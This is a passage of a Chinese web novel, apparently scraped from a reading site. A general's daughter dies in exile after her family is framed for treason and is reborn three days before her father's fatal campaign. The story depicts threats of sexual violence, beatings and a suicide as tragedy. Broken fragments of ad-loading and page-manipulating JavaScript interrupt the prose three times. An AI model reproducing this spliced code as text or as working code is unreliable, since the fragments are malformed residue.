《曾听旧时雨》 1. 雪满来时路(1) 大雪封了来时的路。 岑听南回头望去,既望不见来时路,也望不见南边的景象。 甚至窥不见天光。 她被困在这局促而漆黑的笼中已半岁有余。 自上京出发,一路跋涉到最凄寒的北境,这支被流放的队伍足足走了半年。 出发时空气中还都是潮湿闷热的味道,这会儿却已能听见雪扑簌落在黑布上的动静。 原来已是冬日了,岑听南身上却还穿着夏日的单衣,手足都被冻成尸体般的青灰色。 她的眼里,也只剩下麻木。 从父兄战死沙场的消息传到将军府那日,她的生活就被搅弄得翻天覆地,一朝自云端跌落。 一切都像一桩梦境似的,懵懂的她不明白,曾经备受百姓们尊崇的镇北大将军,怎么会一夜间就变成了勾连北戎的敌国叛贼。 通敌的书信甩在她与娘亲面前,沾染了不知谁的鲜血。 望着那分明不是父兄笔迹的通敌书信,手无缚鸡之力的女眷们凄惶喊冤。 却无人听闻。 抄家那日,宫里的禁军带着火把与刀剑闯上门来,手里持着木桩,将将军府厚重的朱门都撞烂。 府外聚满了围观的百姓,他们个个顶着猩红的眼,龇着牙,冲她这个镇北将军最爱的幺女肆意辱骂,将她过往的尊荣与体面,都践踏在泥地里,狠狠碾压。 “杀了她!杀了这个狐媚子!杀了这出卖盛乾王朝狼心狗肺的一家子!” 混乱中不知是谁这样喊了一句,所有人便兴奋起来,叫嚷着、呼喊着,要将她置于死地。 同样狂热的面孔中,岑听南看到许多张熟悉的脸。 西市那家她常去的成衣铺掌柜、东市她最爱的点心铺东家、还有那个脸熟的小乞儿——这些人,从前每回见了她身边的婢女,都扬着再热切不过的笑意。 每每添置了什么,岑听南也总叫身边的人,多给他们些银两。 他们明明总说,镇北将军府的幺小姐是他们最爱的财神。 怎么今日却这样怒目圆睁地瞪着她,恨不得食她的肉,啖她的血似的。 岑听南不懂,却也总算恍惚地明白过来,他们是在恨她。 恨毒了她。 见她被抄家,见她被人粗鲁地反剪起手腕,用麻绳五花大绑,娇滴滴的手腕就立刻起了红疹,他们只觉得快慰。 见她从前不沾一尘的头面、粉裙如今却被最臭不可闻的鸡蛋、烂菜叶子糊了满身,他们只觉得还不够,不够脏污。 因岑听南那傲气的头颅仍旧是高昂着的。 即使在这样的兵荒马乱之下。 她也像一棵骄傲的树似的,将脊背挺得笔直。 “撕了她的衣物!” “对!叫她赤条条地走!人模狗样的,却是个叛国贼!” 人群中立刻爆发出暧昧的笑声,就连押送她的禁军也侧过头,意味不明地上下打量起她。 岑听南被那鹰犬一样的眼神扫过,颈后寒毛竖立,不由得拢了拢衣襟。 “怕了,这小娘们怕了。” 他身侧的禁军牵起唇,同围观的百姓道了句:“慌什么,去北境的路还长得很。” “小娘子细皮嫩肉,未必挨得过押解的兄弟们。” 人群里的男子们闻言瞬时又爆发出一阵热烈的呼喝与欢笑声。 只有零星几个妇人,面上露出些不忍。 却碍着在场狂热的男子们,到底不敢说什么,只叹了口气,匆匆别开脸去,为这花朵一样快要凋零的将军嫡女,在心里头短而浅地默上一默。 世道对女子从来苛刻,原以为她们这些卑贱的人被命运随意摆弄也就罢了,却不想连高门贵女也逃不过。 只要是女子。 为何偏是女子。 岑听南的三个丫鬟听了禁军这混账话,气得奋力撞过去,想要围到岑听南的身边,护着她。 却被禁军们不留情地用刀剑挡了回去。 最小的玉珠脸上立时被滑过一道长长的疤痕,疼得她哇哇大哭起来。 稍大一些的琉璃是个铁骨铮铮的性子,被捆成粽子般,也拧过头对着那禁军狠狠唾了一口,嘴里连珠似地骂起这群男人来。 琉璃过了嘴瘾,却被禁军狠狠扇了一个巴掌。男人力道大,将她整个头都扇向一边,半侧脸颊高高肿起,有血混着被打落的牙齿,被琉璃狠狠啐出:“狗东西,敢动我家小姐,我做鬼都缠着你!” 这些人,可不会再给一个落了势的贵女什么面子。 何况如今已是阶下囚。 岑听南心疼得眼圈霎时红了。琉璃与玉蝶、玉珠自小随着她长大,何时受过这份委屈。 如今却除了生吞,别无他法。 心头的恨意野草似的疯长起来。 “瞧瞧这眼神,多恨,你们说有没有点咱们镇北大将军那味儿了?” “呸,什么镇北大将军,叛国贼!连打三场败仗,害得北面边境线南移几十里!我盛乾王朝好将士好儿郎们死伤数十万。我恨不得将他从土里挖出来挫骨扬灰!” “说得好!” “可别的不说,这将军府的女人真是好看。” “从前便听闻这位将军幺女脾气虽不好,却真真是艳绝上京,今日一见果然名不虚传,瞧那娇滴滴的样子,真是我见犹怜呐。” “好郎也怕烈女缠,咱们这位禁军大人……嘿嘿” 污言秽语,不堪入耳。 岑听南无力地倚在母亲身边,闭上眼,泪水仍旧顺着面庞滴落下来,一滴滴落进土里。 …… “该进食了,岑家‘大、小、姐’。”衙役手中水火棍狠狠敲在笼上,将‘进食’二字念得尤其大声。 也将岑听南从恍若隔世的记忆中拉回。 她倏然回了神,并不愿再细想下去,再想下去,少不得又要回忆起母亲趁所有人不备,撞上禁卫刀尖那幕。 母亲她,应当很疼吧? 那日火一样的鲜血流了满地,染污了岑汀兰踩着那块地,也灼伤了岑听南的眼。 她站在血泊中,呆呆地听着母亲对她说:“娇娇儿,活下去,好好活下去。” 岑听南不知自己要如何活下去,却知道,她不能死。 死了,父兄的冤名便永世洗刷不清。 她要活着,她得活着,为父兄,为母亲,为护着她而死的几个丫鬟。 即使她也许这辈子都无法逃出去。 岑听南抬起头,眨了眨干涩的眼,伸出一截干枯的手臂,接过那碗衙役吃剩下的野草冷饭。 掀起笼布那瞬间,阳光落在白茫茫雪地上,泛起刺眼的光,将她干涩而红肿的眼刺得生疼。 她的眼泪早哭干了,连灵魂里的血都要从眼角流出来似的。 半年不见天光的日子,让她本就脆弱的眼更不行了。 自己许是快瞎了,岑听南想。 …… 掀起的一角黑布,骤然伸出一截青白得骇人的手腕,将衙役吓了一跳。 他嘴里咒骂着晦气:“瘦成这鬼样,不如早点死了算了。流放去北边还要分个单人笼子给她,累死兄弟们了。” 一旁的衙役劝了句:“少说几句吧,这可是那位大人在出发前,特意吩咐过的。说要防着这女的和她娘一样自戕。” “我管他什么大人,天高皇帝远,他还能管到这群流放犯身上不成?一个弱女子,怎么从兄弟们手底下自戕?这就算了,还神神叨叨罩着块黑布,怎么,丑得见不得人?” “我听说……是顶漂亮的,许是怕路上出事……你知道的,这一路上都是身强体壮的兄弟们。”劝人那衙役语气中带上一丝调笑意味。 “我知道个劳什子!小爷今天就要把这块布给她掀了,是骡子是马拉出来溜溜。” 说着,衙役竟是直接上了手。 黑布落下,强烈的光照得岑听南眩晕了一瞬。 恍惚中,她却艰难地、缓慢地,将背挺得直了一些。许久没做这样的动作,使她喘起粗气来。 冷风呼号着从她身上刮过,炽烈的寒光凌迟着她每一寸血肉。 她感到有暖流涌过四肢百骸,将僵硬的手足重新温暖。 为何会如此? ……是回光返照吗? 耳边不知响起谁的惊呼声,她又头晕目眩地栽了下去。眼中景色改换,只来得及见到闪过眼角那一袭玄色衣袍,镶着银色的竹叶纹,说不出的贵气。 正同流放那日,命人将她关进笼子那人的衣袍一样。 他怎会来此? 岑听南心中是感激这位大人的,若没有这虚设的牢笼,这漫长的流放路上,她也许早死了千万回。 纵使如今清白已不再重要,可她仍想自己干干净净地,像这片雪一样。 可惜的是,那日未曾见到这位的脸,今日也未曾。 岑听南伏在地上,感受着一阵阵袭来的晕眩,又用力喘息了一回,她清晰地感知到自己体内的力量正在被抽走。 她快死了。 如今父兄尸骨未捻,冤名加身,背后设局之人端享荣华,母亲的鲜血落在上京城头青石砖上日日受烈日灼烤、寒霜寖噬。 无用的她却要就这么死了。 岑听南她心中涌上一阵悲凉与无力的愤怒,从前上京城以娇纵闻名的贵女,活到头来才发现自己除了荒唐一世,竟什么也没剩得下。 过往那些引以为傲的尊贵与体面,不过是父兄驰骋沙场带给她的荫蔽。 如今没了父兄,她便失了仰仗。 纵使她能最快分辨最华贵的云锦纱与次等的云锦纱有什么用?生命的尽头,她不过穿着破布褴褛只能勉强蔽体。她娇贵的肠胃从容不下搁置半日以上的食材又如何,如今糠咽菜划破她的喉头,也将她百灵一样好听的嗓音变得粗粝而沙哑。 同芸芸众生,别无二致。 镇北大将军捧在手心里宠大的幺女,生活中头一回,品尝了名为‘后悔’的情绪。 若能重来一世……若能重来。 岑听南趴在笼中,眼里景象已彻底被天地间的白色攫取,她用尽浑身力气,将趴伏在地上的腰背挺得更直了些。 这还是爹爹从前教她的。 幼时她在花园里扑蝶,跌跌撞撞摔倒在地。撇撇嘴就要大哭出声,记忆中有谁在一旁逗弄她,叫她求求他,就抱她起来。 她心中不愿,可又疼得厉害,只想在娘亲怀里肆意哭诉,眨眨眼正要开口,是爹爹大步跨进花园中,将她高高举过头顶。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “求什么求!娇娇儿,有爹在,你永远不用求别人。”爹爹将她高高抛起,又接在怀里,用胡子扎得她咯咯直笑,忘了摔倒的委屈,“别忘了,你可是将军府的人。” 将军府的人,不可以没有脊梁。 她还记得爹爹说过这话呢。 于是镇北大将军的幺女这一生,高贵过、落魄过、张扬过、惶恐过、貌美过、枯萎过、恨过也悔过,却始终未曾让脊梁弯曲过。 岑家儿郎无愧天地,不负家国。 岑家女子亦如是。 她费力地眨了眨眼,眼中光彩逐渐淡了下去。 天地间的雪,也愈发大了。 这株自南境而来的岸芷汀兰,终究死在自己十八岁生辰的前夕,死在了冷冽的北境。 死在一个漫天大雪的冬日午后。 雪满来时路,终不见归人。 …… “娇娇儿?” “我的娇娇儿呢?” “怎么还未醒,睡了都半日有余了吧。”屋外有声音风风火火,由远及近。 是爹爹的声音。 岑听南在半梦半醒间鼻头一酸就要落下泪来。 自爹爹死讯传回上京,这还是头一回,爹爹肯入她梦中来。 从前的她无论如何,都梦不到爹爹,她一直以为是爹爹在怪罪于她。怪她这样没用,既没照顾好娘亲,也让自己活得这般窝囊。 如今终于又听到爹爹声音,是爹爹已经原谅她了么? “小声点,你别吵她。同小姐妹出去玩闹回来,累极了刚歇下呢。三日后便要出征了,一切可都准备妥当了?”她听见母亲这样问道。 屋外珠帘晃动,那双本欲掀开珠帘的粗粝大手,闻言便放了下去。 岑听南偷偷笑了笑,又觉心头一软。 从前,爹爹便是这样惧怕母亲。上京城头有头有脸的大人们都笑镇北大将军英勇一世,降尽天下间的烈马,饮尽了北戎人的鲜血,却赢不过家中一头母老虎。 威风凛凛的镇北大将军却从不反驳,无论谁说这样的话,都只爽朗一笑:“我看你们个个都英勇,都应当去战场上杀敌,能赢过家中妻儿是什么天大的能耐吗?有妻女管着,不晓得是多幸福一件事,你们这些未成婚的毛头小子懂什么,去去去,一边去。” 爹爹是这样说,一辈子也是这样做的。 如今就连在她的梦中,也不改本色,依旧对母亲言听计从。 屋外爹爹又道:“都打点妥帖了,只是这次,远儿与我同去。却要留你们母女二人独守上京,是委屈你们了。” “委屈什么。”母亲带了点儿嗔怪,“你们父子二人早日平安归来就好,还等你们归来,阖家人一起替娇娇儿择个良婿。” “其实,头先求娶上门那位左相……真是放眼上京,都没有比他更惊才绝艳的男子了。虽名声算不得顶好,可我瞧着,真是个胸中有沟壑的。”母亲叹了句,“只可惜,娇娇儿不喜欢。” “那左相生杀予夺何等人物,又有从龙之功,我倒觉得他门第太高……娇娇儿不喜欢正好,免得我忧心。”大将军笑起来,“至于你说上京儿郎没更好的——这又有什么!上京没有,我们便去别处寻。总不至于天底下的好儿郎都只在上京了。” 母亲却问:“那若是这人在很偏远的地方呢?比如最南边满是蚊虫蛇蚁的荒蛮之地?你也任她喜欢么。” “……那,让人上门做赘婿如何?”岑听南听见父亲的声音都愁起来了,她几乎能想象出父亲眉头拧成一团的吓人样子,只怕让手底下的将士们看了都要躲着他走。 母亲果然失笑,又问:“若是比南羌还远的地方呢?” “比南羌还远。只有西面的西夏与北边的北戎了。西夏物产丰饶,多美女多浆果,娇娇儿贪杯,定然会喜欢的。”岑听南听见父亲顿了顿,“若是北戎,国仇家恨横亘,纵使我可以为了娇娇儿不设偏见……却只怕天下人有偏见。” “我只怕,我们娇娇儿会吃苦头。” 两人一时沉寂了下去,母亲也轻轻叹息了一回。 岑听南吸了吸鼻子,很想说她哪也不去,谁都不要嫁,她只要一辈子呆在将军府,永远陪着家人。 可她被困在梦里,连半句声音都发不出。 半是感动半是无奈地听了半晌。 岑听南这才后知后觉意识到,自己这是梦见了两年前父兄出征前的场景。 那日下午,她才上街同手帕交疯玩了一场,回家后睡得昏天黑地,再醒来后才得知父兄已去了军营之中。 她醒来后哭闹着要去军营送父兄,娘亲不允她去,她便自己偷骑了阿兄的马出城相送……阵仗闹得极大,如今想来,父兄名声受损,也有她的缘由。 这都是后话,倒是今日爹爹与娘亲这番关于她的对话,在岑听南记忆中是绝没有过的。 …… 岑听南默了一瞬 ,忽觉四肢百骸渐渐有暖流涌过,叫她觉得面前的一切都如此鲜活起来。 疑问也随之上了心头。 ——既然当初未能听到这番对话。 如今的她,又怎会梦得这样具体而真实? 这当真只是死前的梦一场么? 岑听南倏然睁了眼,终于从大梦中醒来。 2. 雪满来时路(2) 记忆中的漫天飞雪不复见,岑听南嗅到了初夏独有的潮热。 时隔许久,又见母亲英气眉眼,父亲望着她憨且纵地笑。 她一时竟有些迟疑,倚立门边,胆怯地不敢向前。 望着望着,倏地怔怔落下泪来。 丫鬟们慌乱迎上来,围着她上下察看,问她可是何处不舒坦,怎的哭得如此突然。 父亲急得向前一步,又想起女大当避嫌,忙退后一步,只远远看着。母亲宋氏手中本捧了卷话本子看着,闻言稀奇抬头:“哭了?上次还是她七岁那年在宫宴上因落水丢了面子,自那后,倒是许久没见过娇娇儿哭了。” 只这一瞧,便知晓了不对劲。 她何时见过这样的女儿? 赤足而立,望向他们的目光充满了悔恨与苦痛,那目光似山一般重,沉甸甸压在大家心头,叫人喘不过气。 可一个以娇纵闻名上京城的姑娘,哪晓得什么叫做悔恨,又怎么会有这样的目光。 宋氏更疑心是自己看错了。 宋氏单名一个珏,是庆国公府的小女儿,上头还有两个哥哥,都在朝中当着闲散富贵没甚职权的官职。 如今庆国公府传到他们这代,虽只剩下尊贵没有实权,但瘦死的骆驼比马大,宋珏自小也是在金银堆里长大,两位兄长都极宠她,她又与夫君镇北将军岑昀野相识于微时,嫁过来后阖家上下都只听她的。 她自己被这样娇宠着长大,养出来的女儿更是骄傲得不像话。 女儿自懂事起,便最看重自己的体面,又怎会允许自己如此刻一般,衣冠不整,披头散发地在人前落了泪珠。 如今已过暮春,但地里的凉气却犹在,岑听南赤足立于庭前台阶上,目光复杂地看着他们,一时似乎狂喜,一时又有着强烈的悲伤,就这样茫然站着,泪珠连成串地落了下来,到后头竟再也忍不住,抽抽噎噎痛泣出声。 惊得宋氏连忙上前将女儿搂在怀中,一下又一下怜惜地拍着。 岑听南揪着母亲衣襟,母亲身上淡淡花香叫她放松下来,实实在在的触感终于让她确信,这绝不是她死前的黄粱一梦。 等她彻底宣泄平复后抬起头再看向母亲,那目光就转做了深刻的疼和悔惜。 倒叫宋氏有些看不懂了。 “娇娇儿?仔细着了凉。”宋氏使了个眼神,自小陪着女儿长大的琉璃,便会意迎上去,将捂着心口几乎要晕过去的岑听南扶住,半跪着为她穿上了鞋袜。 琉璃柔声道:“姑娘身子最是弱,如今这乍暖还寒时候啊,可是最难将息的,病从足起,姑娘有什么事,待穿上鞋袜再说,好不好?” 哄小孩儿似的语气。 岑听南点点头,又抬起头,不安地哽咽:“爹娘俱在,可阿兄呢?” “你阿兄还在军营。”岑昀野忧心,“娇娇儿可是被梦魇住了?” 岑听南恍若未闻,她只听见自己问:“爹爹三日后便要出征?可是去打北戎?何时能归?” 岑昀野笑道:“娇娇儿这是担心爹爹了?放心,此次北征,只需将战线北进百里,爹爹便可归家。” 盛乾王朝同北戎水火不容已有多年,自前朝起双方便兵戎不断,谁赢谁输都是常有的事。 前世,她与母亲也以为不过是一场再寻常不过的征战。 谁曾想却叫他们家毁人亡。 最小的丫鬟玉珠凑过来,为岑听南奉上杯温茶,笑出梨涡来:“姑娘喝杯安神茶,可要我替姑娘去取块点心来就着用?” 冷静些的玉蝶持剑站在一侧,闻言嗤笑:“你当姑娘同你一般贪吃。” 玉珠还不太服气,小声辩驳了几句:“你不知道,食物落了肚,这颗心呀也就稳了下来,我这是替咱们姑娘想法子呢。” 岑听南此时已在关切的目光中,渐渐止住了泪,闻言还能打起精神调笑了句:“还这样圆润,真好。” 在那场梦里……不,岑听南知道,那并不是一场梦,那都是她切切实实经历过的以后。 噩梦般的以后。 在那场吃人的梦中,父兄战死,母亲自戕,琉璃与玉蝶为护她而死,就连玉珠……最贪吃的玉珠,为了将一口食物留给她,生生将自己饿死在流放途中。 这样圆润的姑娘,死时却如同一截干枯的朽木,在最好的年纪,死得这样难看。 岑听南深吸一口气,将思绪强制收拢归来。如今老天既然允她一次重来机会,她绝不能再让这噩梦般的以后成为真实。 岑听南接过茶盏捧在手中,茶水温热的气息将她心中寒意驱散不少。 再抬起头,眸光已然清明澄澈。 如今是天启四年,镇北大将军即将出征北戎。 她回来了,回到了父兄出征的三日之前,一切都还未发生之时。 她得做些什么,虽说直接阻拦父亲出征……怕是已然来不及。 但距离父亲战死沙场的消息传来仍有两年有余,只要能在两年内,让父亲回到上京,定能保住全家性命——或是,提前找出那封让父兄定罪的通敌书信,将其烧毁。 岑听南沉思的目光落在父亲身上,却见岑昀野唤来小厮,附耳说了几句什么。 见女儿坐下来用过茶,情绪稳定不少,岑昀野这才道:“娇娇儿莫怕,爹爹在此处,什么梦魇都困不住你的。我已唤人将你哥哥从军营里叫回来,晚间我们一家四口一起用个饭。” 岑听南抬起眼:“不。爹爹,不。” 所有目光顿时落在了她身上,这些温热的目光叫她鼻头一酸,又要落下泪来。 她有多久未曾见过这样的目光,又有多久未曾被父母亲这样带着怜意地看着。 “方才女儿只是魇住了。”她扯出一个带着些许安抚的笑,目光在父母身上流连,“爹爹娘亲放心,娇娇儿没事。莫要叫哥哥回家了,爹爹三日后出征,若是此刻你们二人俱在家中,只怕于军心不稳,也于父兄名声不利。” 她还清晰地记得前世,自己闹着要送父兄出征,偷了哥哥的马纵马出城,一路上撞倒好几个小摊贩——如今想来当真是荒唐。 虽后来她命玉蝶为那些摊贩补上了损失,可将军幺女蛮横的恶名到底是传了出去,也累得父兄名声受损。 都是她的不是。 她这话一出,宋氏讶然:“好生厉害的梦,魇过后竟叫我们汀兰懂事不少,倒比我亲自教导有用多了。” 岑听南愣了会儿,依偎进母亲怀中蹭了蹭,柔声道:“爹爹娘亲,日后唤我‘听南’吧。这汀兰娇弱,离岸不可活,我再不想做岸芷汀兰了。” 也再不想经历那样的噩梦。 “那娘的娇娇儿想做什么?”宋珏抚着女儿柔软的发,心中熨帖,女儿这样乖巧地偎在她怀中,也已许久未曾有,仿若回到了女儿的孩童时期。 那时她与岑昀野,还是兄妹两个全部的天地。 如今孩子们却都大了,有了自己的人生要活,这样温馨的相处时光,她亦是珍惜的。 “做什么都好,也许,做棵树罢。”岑听南垂了眸,嘴角勾起一个极淡的笑。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她要做棵树的。 不必依附谁,不必害怕雨打风吹。做可以为爹爹娘亲和阿兄遮风避雨的大树。 将军的女儿,本就该顶天立地的,前世是她……什么都不懂,白白蹉跎了好时光。 “好,我岑家女儿当有此志!”岑昀野大笑起来。 “想做什么都可以,但不要太勉强自己。”宋珏亦跟着笑。 母女两个说着体己话,岑昀野将报信的小厮揪着后领子提了回来:“不必叫你家闻远少爷回来了,只告知他一句小姐的闺名换了——‘听南’,叫他日后莫要唤错!” 小厮马不停蹄奔出去了,心中却腹诽,他还没见过谁家高门贵女,闺名能换得这样随意的。 不过是做了场噩梦,说了几句胡话,这大将军夫妇二人竟真由着她换名了。 可见这将军府娇纵偏心女儿的名声,当真不是空穴来风,全都是有由头的。 - 一家三口简单用过晚饭后,岑昀野便在岑听南的催促下准备回军营。岑听南进了书房,不知在鼓捣些什么,还神神秘秘命玉蝶看守着书房,不允许任何人靠近。 岑昀野跟在妻子身后絮絮叨叨,心头疑惑得很:“这孩子到底怎么了,不过做场梦起来,好像变了个人似的。” 宋珏一边替他收拾行装,还要安抚自家夫君:“是懂事了些,倒也不算坏事。” “只是懂事了些?!”岑昀野嗓门瞬间提高,两条粗眉一颤一颤的,“方才用饭七个菜减到三个菜,还说我们三人刚刚好,这还是你那金尊玉贵的女儿么?我在战场上拼死拼活,和将士们吃糠咽菜吃得心甘情愿,不是为了回家看妻女吃大白菜的。” 宋珏有些无奈:“你这话说出去,倒要叫三军将士寒心了。“ “寒个屁。老子天天陪那群毛头小伙子吃还不够?还得叫你们娘俩也吃?那可不行,高门贵户肉都臭了,也不分给旁人,我们又不是吃不完,只要不浪费,怎么不行?” 自家相公这倔驴脾气一上头,就说不通,宋珏懒得同他争辩,换了话题:“难道是因为头先说起嫁人这回事?女儿家到了成亲的年纪,突然开窍也是常有的。” 岑昀野的眉头便挑得更高了:“不嫁不嫁,她自己都没说嫁。怎么突然提起这个……难不成顾砚时又下帖子给你了?” “人家怎么说也是左相,你一口一个顾砚时地喊,被有心人听了去,又去参你一本。”宋珏将包裹重重往夫君怀中一塞,“就这样吧,赶紧回去。” “任他们参去。”岑昀野拉着妻子的手便要往床榻上倒,却被妻子一脚蹬了开,名震天下的大将军一脸不可置信,竖起三根手指强调道,“我三日后便走了!” “你马上走都行。”宋珏没好气,“这次可不是顾砚时,是咱们那位孟贵妃唤娇娇儿进宫去呢。” 岑昀野瞬间坐直了身子,小心翼翼问:“哪位孟贵妃?” “还能有哪位,自是如今最得盛宠那位。”宋珏望着书房叹了口气,“再怎么说当年这位贵妃也对她有过救命之恩,进宫一趟也是该的。” “不行。”岑昀野神色难得严肃,“你姑娘单纯,皇宫那吃人的地方……我看也不是什么孟贵妃找她,定是咱们陛下,借着娇娇儿的由头,在敲打我呢。” 宋氏摇了摇头:“瞧着不像。来的那位是孟贵妃身边的宫女,客客气气的,只说不用强迫咱们娇娇儿,进不进宫都随她的。” “罢了,明日问问她自己的意思。”宋珏不是纠结的性子,当下直接拍了板。 3. 雪满来时路(3) 更深夜阑,打更人从府外遥遥路过了两回,梆子声声落入岑听南耳中,叫人有些怅惘。 她在父亲书房耽误许久,却什么有用的信息也未寻到,更莫说两年后那封将父兄定罪的书信。 是她过于急切,过于无助了。 岑汀兰在黑夜中待得太久,惧怕太久,如今出现的每一缕微弱亮光,都不能错过,不敢错过。 到底是谁,如此狠辣? 又是谁能有此般权势,直接避开将军府满门士卒,潜入府中放下书信。 她想了很久,连流放的那半年也一直在想。笼困住了她的躯体,这问题却死死锁住了她的心。 骂镇北大将军的百姓有许多,他们将家破人亡怪罪在父兄身上,恨不得撕了她,可寻常百姓也只能恨恨罢了。 他们至多在她流放途中,隔着笼,隔着黑布,对她吐一口唾沫。 前尘往事,想起来都叫人不甘心。 岑听南看着满屋名贵陈设,低低叹了回气——她不愧是爹爹的女儿,武将的书屋尽是摆设,她这空空的大脑也比摆设强不去哪里。 前世的她对京中权势、格局,后宅派别一类的事情一概不知。镇日只知扮了男装上街闲逛,除了不祸害良家姑娘,简直比一般的纨绔子弟还要纨绔。 琉璃在屋外叩响了门,小声道:“姑娘,已经二更天了,你还没寻到你要的东西吗?不若我们明日再来?” “罢了,先回去歇着吧。”倚着书房那张梨花木的桌子,岑听南放下手中书卷。 父兄的冤屈要查,如今能力却实在有限,她需要更多的视野,助她看清这上京局势,也看清谁才是背后搅弄风云之人。 书房被她翻得一团乱遭,岑听南离去的脚步缓了缓。 还是替父亲收拾一番吧。 从前的她就是太只顾着自己了,如今重活一世,倒注意到许多从前未在意过的事。 臂如摆着经史子集的书格都留了印,可见父亲从未翻阅过;兵书阵法的书格却是常常查看的,还有摆放话本子的书格整洁如新,一瞧便知是母亲常来。 梨花木的书桌上大喇喇摆着十几封拆开的书信。 岑听南好奇拿起,只见信封上的笔触锋利又张狂,上书“镇北大将军亲启,天启四年二月十六日,顾子言书。” 顾子言……岑听南脑中一个激灵。 ——今岁的二月十六日,不就是那位左相登门求亲,结果被她恶狠狠奚落一番的日子吗。 被磨磋得太狠,她都险些忘了自己也曾这样骄傲过。 骄傲到,连宰辅大人求娶,都能被她拒之门外。 信的内容不多,寥寥八字而已。 “佳人虽拒,余志不改。” 遥遥想起往事,岑听南心如擂鼓。 那日左相大人才跨进了院门,早得了信的她便叫人将大门关起,隔了影壁居高临下地同左相大人讲:“我知道左相大人定是很好的。您位高权重,听闻长得也不错,可如今已经二十又六,我才刚刚及笄,所以——” “所以——什么?”左相还学她,拉长了嗓,温声回问。 岑听南低声轻骂,这几年来,左相喜好娇软小美人的名声早已传遍上京。寻常男子提起都道他这是名相风流,她才不这么认为!说白了不就是好色,如今竟还敢将主意打到了她头上。 不就是看重这幅皮囊? 可为着自己的幸福,岑听南拼着恶语伤人也直说了:“所以——你我二人并不相称,你在他们眼中是顶好的人选,但在我眼中,不过只是糟老头子一个。” 糟老头子么?顾砚时垂着头无声牵唇。 他与陛下幼年相识,十三岁那年改换门庭,从太子门客暗投入天子门下,十年后陛下登基,他官拜二品左相,不过才二十三岁。世人骂他狼心狗肺、辱他是不认主的白眼狼,更惧他雷霆手段狠辣阴厉。 却从未有人说他——是个糟老头子。 顾砚时唇边笑意愈深。 “娇娇儿,荒唐!休得对左相无礼。”慢了一步赶到的大将军,远远听见岑听南这番大逆不道的话,便斥责起来,“我这女儿,自小被我惯坏了,还请左相勿往心头去。” 戎马一生的镇北大将军,那双挽弓持剑的粗粝大掌高高举起,隔着影壁都能叫顾砚时看见。 可落下时却没甚动静。 偏偏这小姑娘还不懂得配合,自顾自委屈道:“本来就是,他那么老,我这么小……” 顾砚时心中好笑,顺着大将军道:“将军莫要动怒——那敢问娇娇儿,在你心中何人才与你相称呢?” 自小只有父母喊过的乳名,被外男这样在大庭广众下念出,岑听南耳根蹭地一下便烧了起来。 “娇娇儿也是你喊得的么?我不知我要嫁怎样的男子,却知道绝不嫁比我大十岁还有浪名传世的糟老头子!”岑听南又羞又恼,扔下一句自觉狠厉的话,便不顾一切地跑开了。 到头来她也未见到这位左相的样貌,也不知是不是真如传闻中生得那般好。 声音倒是极好听的,轻而冷,让人想起冬日山涧里化了雪的清泉,甚或还带了点松柏的香气。 只是传闻还说这位左相性子最是乖僻。 脾气一旦上来,在朝堂上都敢对陛下冷脸……可她瞧着,却不尽然。 连这样骂他糟老头子,都不见他生气。 可见传闻也不能尽信,说不得左相其实生得丑陋粗鄙,不然怎么躲在影壁后头,都不向前来见见她呢。 但喜好美人的名声一定是没错的,否则岑听南实在想不出,自己浑身上下能有哪点能被这位左相看中。 总不见得是喜欢她娇纵的名声,要寻尊菩萨回家供着吧。 捏着手中信,岑听南只觉这信似山重,全然不意那日还有这样的后续。 父亲从未与她提过这件事。 父亲只是在信上,大大小小歪歪斜斜写满了“不嫁”二字。 还有这封书信底下,那十几封顾砚时寄来的信。 无一例外,都写满了“不嫁”。 “幼稚。”岑听南轻声开口,眼里却染着笑。 笑过后却不由得后怕深思:难道前世阖家惨案,竟是这位左相大人的手笔? 只因她未嫁他,便要害她满门么? 岑听南迟疑半晌,到底还是将这人纳入怀疑范畴。 她摩挲着信,低声自语:“顾子言……从前爹爹总说你虽然狠厉,却一心为盛乾王朝,爹爹这样夸赞你……最好别是你。” …… 在惊惶与寻到线索的兴奋中,岑听南半梦半醒了整夜。 用早膳时,母亲见她眼底青黑一片,忧心道:“昨夜还是魇住了么,不若娘陪你去宁远寺拜拜,请支平安香回来?” 那寺庙在城外五十里外,即使坐马车也要大半日时间。 “明日罢。”岑听南也想去寺里为前世的府中人上一柱香,所以未完全回绝,“今日我还有事,要去趟城西那间书铺。” 宋珏将捡去了葱花的鸡汤小馄饨吹得半温,才送至岑听南面前,闻言作势探头朝外看:“太阳今日打西边出来了?我们家听南也想着念书了?” 岑听南有些心虚地用了口汤,她自七岁探春宴上以一首咏花的诗名动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上京后,便心中自满,此后再也没沉下心来正经看过书。 如今年岁大了些回想,才发现那诗……着实没什么出彩的地方。 不过因着她是大将军的女儿,又是那样的年纪,稍通了韵脚,便被吹得天上地下绝无仅有。 最可笑的是,她还将这些吹捧的话当真入了耳。 宋珏见她小口小口喝汤,不再逗她,转了话头:“今日用膳倒是乖巧,你不是晨起惯来不吃肉的么。” 岑听南握着筷子的手一顿,前尘往事的酸涩涌上心头——她的从前,委实过于不懂事了些。 岑听南眨眨眼,将眼中湿意逼了回去,扯出个笑:“如今才知粮食可贵,外头那么多人连五谷都用不起。” 那支流放的队伍,一半是将军府的人,饿死途中的……并不在少数。 重活一世,她自然要将他们的份带着一起,活出个像话的模样来。 岑听南招手叫玉珠过来,让她陪着用完了早膳。 玉珠拍拍圆滚滚的肚子,颇为开心:“姑娘下次若是吃不完,还叫我吧。这小馄饨又鲜又暖,我最喜欢了。” 岑听南笑着点头,宋珏望向女儿的目光半是欣慰,半是感怀:“倒是有件事忘了同你说,昨日宫中孟贵妃遣人来,传唤你进宫。你想去么?” “孟贵妃?”这下轮到岑听南讶异了,“宫宴上那位救命恩人?” “你若不想去,娘亲便替你回绝了……” 岑听南立刻道:“去,可约定了时辰?” 宋珏:“只说都随你。” “那便明日,明日一早我就进宫。” 如今岑听南最忧心地便是接触不到权贵,无法探听父兄叛国一事的真相,这送上门来的贵妃,自然没有理由拒之门外。 且不说这位孟贵妃,还是她明面上的救命恩人,救命恩人传唤,自是得要去的。 只是前世,岑听南不记得这位贵妃传唤过自己。 